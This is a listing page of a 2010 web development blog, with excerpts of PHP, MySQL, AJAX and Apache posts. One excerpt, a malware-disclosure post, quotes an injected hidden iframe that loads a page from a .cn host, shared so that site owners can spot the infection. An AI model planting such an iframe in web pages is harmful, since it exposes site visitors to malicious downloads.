Latest Web Development Blog Posts

MySQL Database Interaction Object

On August 14, 2010, in MySQL, PHP, by Gilberto Cortez
0

There are many ways out there to connect to a database, but there is only a few of them that are effective. This is the MySQL object that I use to connect to a database via PHP. You will find this class to be simple but very effective as it’s not overfilled, but it only [...]

Continue Reading »

Display your last Tweet from Twitter.com

On August 14, 2010, in PHP, by Gilberto Cortez
0

Are you a big Twitter user, and would like to integrate your account into your site? Here is the code to display your last Tweet using the .xml file that is provided by Twitter. There is only one thing that needs to be changed out. which is the XML file address, you need to input [...]

Continue Reading »

Upload Files From a Form

On August 8, 2010, in PHP, by Gilberto Cortez
0

Hello guys,  I decided to do a post on how to upload files from a simple HTML form into your server. First, you will need to set up this form with the proper headings, please see code below. <form enctype=”multipart/form-data” action=”uploads.php” method=”POST”> Choose a file to upload: <input name=”uploadedfile” type=”file” /><br /> <input type=”submit” value=”Upload [...]

Continue Reading »

Basic Content Management System

On August 3, 2010, in JavaScript, PHP, Web Applications, by Gilberto Cortez
0

If you are a Web Developer like me, then you are always working from different locations, different machines, etc. You do not want to go and look for that client information every time to gain access via FTP to do a small change. There is where a good content management system comes in place. What [...]

Continue Reading »

Transfer a Large Database using MySQL Dump and a SHH Client

On July 18, 2010, in MySQL, SHH, by Gilberto Cortez
0

Have you needed to transfer a large database? One of an eCommerce Cart or of a big blog? phpMyAdmin only allow’s imports of databases of 2 mbs, if you fix the php.ini file you can get maybe 10 or 12 max on most servers. In order to move this you will need to do it [...]

Continue Reading »

Resolve GoDaddy Malware Issue

On July 16, 2010, in Malware Protection, by Gilberto Cortez
0

Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code [...]

Continue Reading »

Google Analytics eCommerce Tracking

On July 12, 2010, in eCommerce, by Gilberto Cortez
0

Here is the script that needs to be added to the receipt or confirmation page, after the user has completed the sale. You will just need to add php inside of the script so that the content can be created dynamically per customer. One tip is to use a PHP loop. Here is the code: [...]

Continue Reading »

Creating custom 404 page

On July 12, 2010, in Apache, PHP, by Gilberto Cortez
0

Everyone at some point has been browsing trough google or their favorite search engine and clicked on a link just to go into a white page with the words “404 Error” up on top. After this the only thing you have is to hit the “Back” button on your browser. As a user, this means [...]

Continue Reading »

New iFrame Malware Script

On July 12, 2010, in Malware Protection, by Gilberto Cortez
1

Hello guys, another one of the sites I manage has been infected and blocked by Google, here is the iFrame script that has the malicious virus in it just in case you guys have been attacked by the same person. <iframe src=”http://namegamestore.cn:8080/index.php” width=183 height=129 style=”visibility: hidden”></iframe> Thank You, Gilberto Cortez

Continue Reading »

Basic AJAX connection using the POST method to retrieve content

On July 12, 2010, in AJAX, by Gilberto Cortez
1

Hello guys, I have been working on a project for school which used AJAX and I just wanted you guys to have this code for reference. This code basically makes a call to a PHP script which gets Zip Code information (city and state) and then adds them into your web page. I used a [...]

Continue Reading »

Looking for something?

Use the form below to search the site:


Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Archives

All entries, chronologically...